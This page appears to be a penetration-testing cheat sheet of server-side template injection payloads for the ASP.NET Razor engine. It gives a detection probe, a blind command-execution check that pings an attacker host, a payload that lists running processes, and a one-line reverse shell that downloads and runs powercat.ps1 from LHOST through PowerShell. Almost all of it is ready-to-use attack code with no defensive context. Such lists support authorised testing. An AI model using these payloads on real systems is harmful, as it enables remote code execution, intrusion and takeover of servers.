> For the complete documentation index, see [llms.txt](https://blog.nextco.me/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.nextco.me/ssti-asp.md).

# SSTI ASP

## ASP Razor Engine

### Detection

@(8\*9)

## RCE Check - Blind - Wait a minute

```csharp
@{System.Diagnostics.Process.Start("cmd.exe","/c ping -n 2 LHOST");}
```

## Task List

```csharp
@{
    System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo("cmd", "/c tasklist /v");

    procStartInfo.RedirectStandardOutput = true;
    procStartInfo.RedirectStandardError = true;
    procStartInfo.UseShellExecute = false;
    procStartInfo.CreateNoWindow = true;
    System.Diagnostics.Process p = new System.Diagnostics.Process();
    p.StartInfo = procStartInfo;
    p.Start();
    var stdout = p.StandardOutput.ReadToEnd().Replace("<", "&lt;").Replace(">", "&gt;");
    var stderr = p.StandardError.ReadToEnd().Replace("<", "&lt;").Replace(">", "&gt;");
}
<pre>@stdout</pre>
<pre style="color: red">@stderr</pre>
```

## Reverse Shell Powercat - OK

```csharp
@{System.Diagnostics.Process.Start("cmd.exe","/c powershell -nop -c IEX(New-Object System.Net.WebClient).DownloadString('http://LHOST/powercat.ps1')");}
```